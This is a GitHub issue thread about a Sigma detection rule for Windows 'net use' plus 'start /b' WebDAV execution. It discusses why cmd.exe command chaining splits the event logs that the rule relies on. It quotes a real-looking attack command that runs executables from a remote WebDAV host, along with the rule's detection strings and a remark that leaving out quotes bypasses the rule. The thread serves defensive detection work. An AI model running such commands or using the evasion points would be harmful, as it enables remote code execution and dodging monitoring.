Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Issues found in proc_creation_win_cmd_net_use_and_exec_combo.yml #5141

Closed
DanielKoifman opened this issue Dec 24, 2024 · 2 comments
Closed

Comments

@DanielKoifman
Copy link

DanielKoifman commented Dec 24, 2024

Hi team, I have a question/finding regarding https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml

The rule relies on the commandLine including ALL of the following:

  • ' net use http'
  • '& start /b '
  • '\DavWWWRoot'

The problem here is that because the commandLine in the associated reference source

"C:\Windows\System32\cmd.exe" /c net use http://164.92.205.182 && start /b \\164.92.205.182\DavWWWRoot\1C-Bitrix-0722.docx & start /b \\164.92.205.182\DavWWWRoot\lg.exe node.exe i

includes && and &, which, similarly to the pipe character, will split the command into different event logs and not a single one.

This can be easily simulated if I run the following command:

whoami && ipconfig & ping 8.8.8.8

Which will result in three different event logs:
image
image
image

Additionally, using "start /b" in the CMD does not log it. For example, running "start /b myFile.exe" will result in "Process Command Line: myFile.exe"

In this article, it also supports this finding:
image

I wasn't sure what would be the best way to fix it, so I created an issue instead of a PR.
Thank you in advance!

Copy link
Contributor

Welcome @DanielKoifman 👋

It looks like this is your first issue on the Sigma rules repository!

The following repository accepts issues related to false positives or 'rule ideas'.

If you're reporting an issue related to the pySigma library please consider submitting it here

If you're reporting an issue related to the deprecated sigmac library please consider submitting it here

Thanks for taking the time to open this issue, and welcome to the Sigma community! 😃

@nasbench
Copy link
Member

Hi @DanielKoifman

As explained here. The rule is looking for a full command with quotes. We are aware of the effect of cmd.exe and how commands are treated. Hence this is a best case detection. It can be bypassed by not using quotes but for that we have other coverage.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants